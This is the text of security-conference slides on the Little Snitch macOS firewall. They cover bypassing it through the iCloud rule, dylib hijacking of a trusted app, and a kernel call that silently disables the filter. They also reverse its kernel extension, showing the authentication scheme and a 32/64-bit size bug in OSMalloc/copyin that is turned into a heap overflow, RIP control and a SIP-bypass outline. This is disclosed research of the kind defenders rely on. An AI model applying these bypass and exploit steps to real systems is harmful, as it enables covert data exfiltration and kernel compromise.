I got 99 Problems, but Little Snitch ain’t one!
WHOIS

“leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints”

security for the 21st century

career

hobby

@patrickwardle

Objective-See
OUTLINE

making little snitch our b!tch

understanding → bypassing → reversing

owning
UNDERSTANDING LITTLE SNITCH
...a brief overview
Little Snitch
the de-facto host firewall for macOS

"Little Snitch intercepts connection attempts, and lets you decide how to proceed."
- www.obdev.at

They were finally caught while attempting to upload a screenshot to one of their own servers, according to the report. A piece of security software called Little Snitch — which regulates data sent out from a computer to the internet — was installed on one of the information security employees’ laptops, and it flagged the suspicious upload attempt, the report says. Little Snitch, while popular in the cybersecurity world, was not standard software for these employees, according to one person familiar with the matter.

in the news (red team vs. Palantir)
**Little Snitch Components**

the puzzle pieces

- **LittleSnitch.kext**
  - network, process monitoring
  - 'authentication'

- **Little Snitch Daemon**
  - rules management

- **Little Snitch Configuration**
  - rules management
  - preferences

- **Little Snitch Agent**
  - UI alerts

KnockKnock

- **Kernel Extensions**
  - Installed modules, possibly kernel loaded

- **Launch Items**
  - Densities and agents loaded by launchd

- **Library Inserts**
  - dylibs inserted via `DYLD_INSERT_LIBRARIES`
BYPASSING LITTLE SNITCH
undetected data exfil
Little Snitch Bypass 0x1
abusing system rules to talk to iCloud

un-deletable system rule: “anybody can talk to iCloud”

little snitch's iCloud rule

o rly!?...yes!
Little Snitch Bypass 0x2
abusing 'proc-level' trust

"Using Process Infection to Bypass Windows Software Firewalls" - Phrack, '04

```
gpg keychain; allow all

$ python dylibHijackScanner.py

GPG Keychain is vulnerable (weak/rpath'd dylib)
'weak dylib': '/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH': '/Applications/GPG Keychain.app/Contents/Frameworks'

dylib hijack 'injection''

```

All Messages

GPG Keychain: hijacked dylib loaded in /Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain (85436)
GPG Keychain: attempting to get data from http://www.google.com
GPG Keychain: got response: <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to hel

undetected exfil/C&C
Little Snitch Bypass 0x3

stop the network filter

// connect & authenticate to kext
// -> see later slides for details :)  

// input
// -> set to 0x0 to disable
uint64_t input = 0x0;

// stop network filter
IOConnectCallScalarMethod(connectPort, 0xB, &input, 0x1, NULL, NULL);

invisible' to UI

if( (0xB == method) && (0x0 == scalarInput) )
{
    // disable filter!
}

'}
REVERSING LITTLE SNITCH
poking on kext's interfaces
Little Snitch's Kext
/Library/Extensions/LittleSnitch.kext

```
$ less LittleSnitch.kext/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
  <dict>
    <key>CFBundleExecutable</key>
    <string>LittleSnitch</string>
    <key>CFBundleIdentifier</key>
    <string>at.obdev.nke.LittleSnitch</string>
    <key>CFBundlePackageType</key>
    <string>KEXT</string>
    <key>IOKitPersonalities</key>
    <dict>
      <key>ODLSNKE</key>
      <dict>
        <key>CFBundleIdentifier</key>
        <string>at.obdev.nke.LittleSnitch</string>
        <key>IOClass</key>
        <string>at_obdev_LSNKE</string>
        <key>IOMatchCategory</key>
        <string>at_obdev_LSNKE</string>
        <key>IOProviderClass</key>
        <string>IOResources</string>
        <key>IOResourceMatch</key>
        <string>IOBSD</string>
      </dict>
    </dict>
  </dict>
```

KextViewr

Kext's Info.plist file

i/o kit

signing info
# I/O Kit

XNU's device driver env

- implemented in C++
  - object-oriented
- self-contained, runtime environment

- [Mac OS X and iOS Internals](https://example.com)
- [OS X and iOS Kernel Programming](https://example.com)
- [IOKit Fundamentals](https://example.com)

```c
#include <IOKit/IOLib.h>
define super IOService

OSDefineMetaClassAndStructors(com_osxkernel_driver_IOKitTest, IOService)

bool com_osxkernel_driver_IOKitTest::init(OSDictionary* dict)
{
  bool res = super::init(dict);
  IOLog("IOKitTest::init\n");
  return res;
}

IOService* com_osxkernel_driver_IOKitTest::probe(IOService* provider,
                                                SInt32* score)
{
  IOService *res = super::probe(provider, score);
  IOLog("IOKitTest::probe\n");
  return res;
}

bool com_osxkernel_driver_IOKitTest::start (IOService *provider)
{
  bool res = super::start(provider);
  IOLog("IOKitTest::start\n");
  return res;
}

...
```

```bash
$ sudo kextload IOKitTest.kext
grep IOKitTest /var/log/system.log
users-Mac kernel[0]: IOKitTest::init
users-Mac kernel[0]: IOKitTest::probe
users-Mac kernel[0]: IOKitTest::start
```

load kext; output
I/O Kit

'inter-ring' comms

serial port driver

open(/dev/xxx)
read() / write()

find driver; then:
1. read/write 'properties'
or
2. send control requests

I/O Kit Framework

other i/o kit drivers

today's focus

"The user-space API through which a process communicates with a kernel driver is provided by a framework known as 'IOKit.framework'"
- OS X and iOS Kernel Programming
invoking driver methods

// check params, invoke method
super::externalMethod(..., dispatch, ...)

// look up method, invoke super
externalMethod(selector, ...)
  dispatch = methods[selector]

method_0();
method_1();
method_2();
I/O Kit
ex: driver interface

```
const IOExternalMethodDispatch com_osxkernel_driver_IOKitTestUserClient::sMethods[kTestUserClientMethodCount] = {
    //kTestUserClientStartTimer(void);
    {sStartTimer, 0, 0, 0, 0},

    //kTestUserClientDelayForTime(const TimerValue* timerValue);
    {sDelayForTime, 0, sizeof(TimerValue), 0, 0},
};

IOReturn com_osxkernel_driver_IOKitTestUserClient::externalMethod (uint32_t selector, IOExternalMethodArguments* arguments, IOExternalMethodDispatch* dispatch, OSObject* target, void* reference){

    //ensure the requested control selector is within range
    if(selector >= kTestUserClientMethodCount)
        return kIOReturnUnsupported;

    dispatch = (IOExternalMethodDispatch*)&sMethods[selector];
    target = this;
    reference = NULL;
    return super::externalMethod(selector, arguments, dispatch, target, reference);
}
```

IOExternalMethodDispatch struct describes methods/args

entry point, user-mode requests forward request to super, which routes to method

i/o kit driver interface
I/O Kit

```c
// get master port
IOMasterPort(MACH_PORT_NULL, &masterPort);

// get matching service
service = IOServiceGetMatchingService(masterPort,
IOServiceMatching("com_osxkernel_driver_IOKitTest"));
```

```c
// open connection
IOServiceOpen(service, mach_task_self(), 0, &driverConnection);
```

```c
// make request to driver
IOConnectCallStructMethod(driverConnection, kTestUserClientDelayForTime,
timerValue, sizeof(TimerValue), NULL, 0);
```

---

"OS X and iOS Kernel Programming" (chapter 5)
Little Snitch Anti-Analysis

gtfo reversers! #not

```assembly
lea  rcx, aAec246   ; "AEC246"
lea  rsi, [rbp+symbol]
mov  edx, 0AE4C415Dh
lea  rdx, [rbp+var_2B8]
lea  rcx, [rbp+var_2D8]
mov  esi, 4
xor  r8d, r8d
xor  r9d, r9d
call  r10
lea  rdi, [rbp+var_30]
inc  rax
cmp  rax, 6
jnz  short strDecode
mov  [rbp+var_2A], 0
lea  rsi, [rbp+symbol]
call  _dlsym
mov  edi, 1Fh
xor  edx, edx
xor  ecx, ecx
call  r8
test  eax, eax
jz   short continue
```

```c
#define PT_DENY_ATTACH 0x1F
char* symbol = strDecode("AEC246", 0x0AE4C415D);
*(void **)(&fpPTRACE) = dlsym(handle, symbol);
if (0 != fpPTRACE(PT_DENY_ATTACH, -1, 0, 0))
//debugger detected
// ->exit!
```

```assembly
lea  rcx, aDjd4e   ; "DJD4E="
lea  rsi, [rbp+symbol]
mov  edx, 0AE4C415Dh
mov  esi, 0FFFFFFFFFFFFFH
call  _dlsym
mov  r8, rax
mov  cs:qword_10006E068, r8
xor  edx, edx
xor  ecx, ecx
call  r8
test  eax, eax
jz   short continue
```

```c
#define P_TRACED 0x00000800
char* symbol = strDecode("DJD4E=", 0x0AE4C415D);
*(void **)(&fpSYSCTL) = dlsym(handle, symbol);
fpSYSCTL(mib, 4, &info, &size, NULL, 0);
if (P_TRACED == (info.kp_proc.p_flag & P_TRACED))
//debugger detected
// ->exit!
```

```
ptrace(PT_DENY_ATTACH)
```

```
sysctl()/P_TRACED
```
**Find/Connect to Little Snitch's KExt**

**service: 'at_obdev_LSNKE'**

```c
char -[m097e1b4e m44e2ed6c](void * self, void * _cmd)
{
    ...
    sub_10003579a(0x7789);
}

int sub_10003579a(int arg0)
{
    r15 = arg0;
    rbx = IOMasterPort(0x0, 0x0);
    r14 = IOServiceGetMatchingService(0x0, IOServiceNameMatching("at_obdev_LSNKE"));
    r15 = IOServiceOpen(r14, _mach_task_self_, r15, 0x10006ed58);
}
```

```
 mach_port_t masterPort = 0; 
 io_service_t serviceObject = 0; 
 io_connect_t connectPort = 0; 

IOMasterPort(MACH_PORT_NULL, &masterPort);
serviceObject = IOServiceGetMatchingService(masterPort, IOServiceMatching("at_obdev_LSNKE"));
IOServiceOpen(serviceObject, _mach_task_self(), 0x7789, &connectPort);
```

```bash
$ ./connect2LS
got master port: 0xb03
got matching service (at_obdev_LSNKE): 0xf03
opened service (0x7789): 0x1003
```

Is' daemon hopper decompilation

Custom 'connection' code connected!
Enumenrating Available Interfaces
'reachable' kernel methods

pseudo code

```cpp
class_externalMethod proc
    push rbp
    mov rbp, rsp
    cmp esi, 16h
    ja short callSuper
    mov eax, esi
    lea rax, [rax+rax*2]
    lea rcx, IORegistryDescriptorC3::sMethods
    ... 
callSuper:
    mov rax, cs:IOUserClient_vTable
    pop rbp
    jmp qword ptr [rax+860h]

ls' externalMethod()

struct IOExternalMethodDispatch {
    IOExternalMethodAction function;
    uint32_t checkScalarInputCount;
    uint32_t checkStructureInputSize;
    uint32_t checkScalarOutputCount;
    uint32_t checkStructureOutputSize;
};
```

IOExternalMethodDispatch struct

class methods ('sMethods')

IOKitTestUserClient::externalMethod(uint32_t selector, IOExternalMethodArguments* arguments, IOExternalMethodDispatch* dispatch, OSEntity* target, void* reference)

if (selector <= 16)
    dispatch = (IOExternalMethodDispatch*)sMethods[selector];
return super::externalMethod(selector, arguments, dispatch, target, reference);

IORegistryDescriptorC3_sMethods

IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED832h, 0, 0, 1, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED846h, 0, 0, 0, 83Ch>
IOExternalMethodDispatch <0FFFFFF7FA13ED89Ah, 0, 0Ch, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED8D2h, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED944h, 0, 10h, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED95Ah, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13ED97Eh, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDAC6h, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13EDBBAh, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13EDBCBh, 0, 0, 0, 80h>
IOExternalMethodDispatch <0FFFFFF7FA13EDF8Ah, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDAC9h, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC0Eh, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC22h, 0, 0Ch, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC36h, 0, 10h, 0, 18h>
IOExternalMethodDispatch <0FFFFFF7FA13EDC4Ah, 0, 0, 0, 2Ch>
IOExternalMethodDispatch <0FFFFFF7FA13EDC68h, 0, 54h, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC22h, 1, 0, 0, 0>
Say Hello to Method 0x7

it haz bug!

IOExternalMethodDispatch
<0xFFFFFFFFFA13ED8FAh, 0, 20h, 0, 0>

0xFFFFFFFFFA13ED8FA method_0x7 proc
...mov rax, [rdi] ; this pointer, vTable
mov rax, [rax+988h] ; method
mov rsi, rdx
jmp rax

method 0x7 'call thru'

struct lsStruct {
    void* buffer
    size_t size;
    ...}

sub_FFFFFFF7FA13E76F7(struct lsStruct* ls) {
    if( (0 == ls->size) || (NULL == ls->buffer) )
        goto bail;

    kBuffer = OSMalloc(ls->size, tag);
    if(NULL != kBuffer)
        copyin(ls->buffer, kBuffer, ls->size);

    ...}

malloc/copy (pseudo-code)

+0x0  __const:FFFFFF7FA13F5A30 vTable
...+
+0x988 __const:FFFFFF7FA13F63B8 dq offset sub_FFFFFFF7FA13EABB2

sub_FFFFFFF7FA13EABB2 proc
mov rbx, rsi
mov rdi, [rbx+30h] ; user-mode (ls) struct
call sub_FFFFFFF7FA13E76BC

sub_FFFFFFF7FA13E76BC proc near
call sub_FFFFFFF7FA13E76F7

sub_FFFFFFF7FA13E76F7 proc near
mov rbx, rdi ; user-mode struct
mov rdi, [rbx+8] ; size
test rdi, rdi
jz short leave ; invalid size
cmp qword ptr [rbx], 0
jz short leave
mov rsi, cs:allocTag
call _OSMalloc ; malloc
...
mov rdi, [rbx] ; in buffer
mov rdx, [rbx+8] ; size
mov rsi, rax ; out buffer (just alloc'd)
call _copyin

malloc/copy (IDA)
**Kernel Bug?**

**size matters...**

```c
void* OSMalloc(uint32_t size, ...);
```

**vs.**

```c
int copyin(..., vm_size_t nbytes);
```

---

<table>
<thead>
<tr>
<th>offset</th>
<th>15</th>
<th>...</th>
<th>8</th>
<th>7</th>
<th>6</th>
<th>5</th>
<th>4</th>
<th>3</th>
<th>2</th>
<th>1</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>value</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>2</td>
</tr>
</tbody>
</table>

**64bit value:** `0x100000002`

**32bit value:** `0x0100000002`

---

```c
struct lsStruct ls;
ls.buffer = <some user addr>
ls.size = 0x100000002;

//malloc & copy
kBuffer = OSMalloc(0x00000002, tag);
if(NULL != kBuffer)
copyin(ls->buffer, kBuffer, 0x100000002);
```
OWNING LITTLE SNITCH exploitation?
**ISSUE 0x1**

**gotta 'authenticate'**

IOExternalMethodDispatch `<0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0>`

**method_0x7 proc**

```
cmp     byte ptr [rdi+0E9h], 0
jz      short leave
; buggy code
```

**method_0x8 proc**

```
MD5Update(var_90, r14 + 0xea, 0x10);
MD5Update(var_90, 0x8E6A3FA34C4F4B23, 0x10);
MD5Final(0x0FC5C35FAA776E256, var_90);
do{
    rdx = rcx;
    rcx = *(int8_t *)(rbp + rax + 0xffffffffffffff60);
    rcx = rcx ^ *(int8_t *)(rbx + rax);
    rcx = rcx & 0xff | rdx;
    rax = rax + 0x1;
} while(rax != 0x10);
if (rcx == 0x0)
    *(r14 + 0xe9) = 0x1;
```

connect to Little Snitch driver ('at_obdev_LSNKE')

invoke method 0x4
returns 0x10 'random' bytes

hash this data, with embedded salt (`\x56\xe2\x76\xa7...`)

invoke method 0x8 to with hash to authenticate

sets flag :) authenticated;
can (now) reach buggy code!
ISSUE 0x2
the bug isn't exploitable!?

kBuffer = OSMalloc(0x00000002, tag);
copyin(ls->buffer, kBuffer, 0x100000002);

only two bytes are copied!?

heap buffer
[size: 2 bytes] rest of heap....

0x41 0x41 [ untouched ]

$x86_64/locore.s$

```c
_bcopy(const void *, void *, vm_size_t);
/*
 * Copyin/out from user/kernel
 * rdi: source address
 * rsi: destination address
 * rdx: byte count
 */
Entry(_bcopy)
// TODO:
// think about 32 bit or 64 bit byte count
movl %edx,%ecx
shrl $3,%ecx
```

$x86_64/locore.s$

```asm
ENTRY(_bcopy)
xchgq %rdi, %rsi
movl %rdx,%ecx
shrl $3,%ecx
```

submit bug report to Apple (2013)

fixed! (OS X 10.11, 2015)
ISSUE 0x3
controlling the heap copy

control exact # of bytes copied into buffer

<table>
<thead>
<tr>
<th>heap buffer [size: 2 bytes]</th>
<th>rest of heap...</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x41 0x41 0x41 0x41 0x41 0x41 0x41</td>
<td></td>
</tr>
</tbody>
</table>

panic :(

Entry(_bcopy)

RECOVERY SECTION
RECOVER(_bcopy_fail)
rep movsq
movl %edx, %ecx
andl $7, %ecx
RECOVERY SECTION
RECOVER(_bcopy_fail)

_bcopy_fail:
movl $(EFAULT),%eax
ret

'fault toleranace'

ls struct

struct lsStruct ls;
ls.buffer = 0x100FFC
ls.size = 0x100000002;

copyin(ls->buffer, kBuffer, ls->size);

heap buffer [size: 2 bytes] | rest of heap... |
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0x41 0x41 0x41 0x41 0x41 0x41 0x41</td>
<td></td>
</tr>
</tbody>
</table>

ring-0
ring-3

mapped page
unmapped page

0x100FFC
0x101000

0x41 0x41 0x41 0x41
0x41 0x41 0x41 0x41
0x41 0x41 0x41 0x41
0x41 0x41 0x41 0x41
0x41 0x41 0x41 0x41
0x41 0x41 0x41 0x41

0x100000002
SUCCESS!
vTable hijacking ($RIP)

<table>
<thead>
<tr>
<th>heap buffer</th>
<th>C++ object</th>
</tr>
</thead>
<tbody>
<tr>
<td>[size: 2 bytes]</td>
<td>[0xffffffff8029a27e00]</td>
</tr>
<tr>
<td>0x41</td>
<td>0x41</td>
</tr>
</tbody>
</table>

allocation size

bytes copied

# of bytes copied

attacker controlled vTable pointer

controls:

1. allocation size
2. bytes copied
3. # of bytes copied

control of $RIP : )
WEAPONIZING

reliably exploiting a macOS heap overflow

"Attacking the XNU Kernel in El Capitan" -luca todesco

"Hacking from iOS 8 to iOS 9" -team pangu

"Shooting the OS X El Capitan Kernel Like a Sniper" -liang chen/qidan he

controlling heap layout
bypassing kALSR
bypassing smap/smep
payloads (!SIP, etc)

SIP 'bypass'
1 get root
2 'bring' & load buggy kext
3 exploit & disable SIP

(buggy) kext still validly signed!
CONCLUSIONS

wrapping it up
Vendor Response: at least they fixed it...

fixed the bug
users won't patch
downplayed the bug
didn't assign a CVE
no credit (i'm ok with that)

mov rbx, rdi ; user struct
mov edi, [rbx+8] ; size
call _OSMalloc

mov rdi, [rbx] ; in buffer
mov edx, [rbx+8] ; size
mov rsi, rax ; out buffer
call _copyin

Little Snitch 3.6.2 (4360)

- Fixed an incompatibility of the Little Snitch Installer with some older OS X versions.
- Fixed a memory leak in Little Snitch Configuration.
- Fixed a crash in Little Snitch Configuration that could occur when creating a Diagnostics Report.
- Fixed an issue that could cause the Connection Alert to become unresponsive to user interaction.
- Fixed a rare issue that could cause a kernel panic.
OBJECTIVE-SEE (.com)

free security tools & malware samples

TaskExplorer

KnockKnock

BlockBlock

KextViewer

RansomWhere?

Hijack Scanner

Ostiarius

"providing visibility to the core"
"Is it crazy how saying sentences backwards creates backwards sentences saying how crazy it is?"  -Have_One, reddit.com
mahalo :)

CREDITS

- FLATICON.COM
- THEZZOOM.COM
- ICONMONSTR.COM
- HTTP://WIRDOUT.COM/2012/02/04/IS-THAT-BAD-DOCTOR/
- HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/
  2010/206/4/4/441488bcc359b59be409ca02f863e843.jpg

images

- "IOS KERNEL EXPLOITATION --- IOKIT EDITION ---" -STEFANO ESSER
- "REVISITING MAC OS X KERNEL ROOTKITS!" -PEDRO VILAÇA
- "FIND YOUR OWN IOS KERNEL BUG" -XU HAO/XIABO CHEN
- "ATTACKING THE XNU KERNEL IN EL CAPITAN" -LUCA TODESCO
- "HACKING FROM IOS 8 TO IOS 9" -TEAM PANGU
- "SHOOTING THE OS X EL CAPITAN KERNEL LIKE A SNIPER" -LIANG CHEN/QIDAN HE
- "OPTIMIZED FUZZING IOKIT IN IOS" -LEI LONG
- "MAC OS X AND IOS INTERNALS" -JONATHAN LEVIN
- "OS X AND IOS KERNEL PROGRAMMING" -OLE HALVORSEN/Douglas Clarke

resources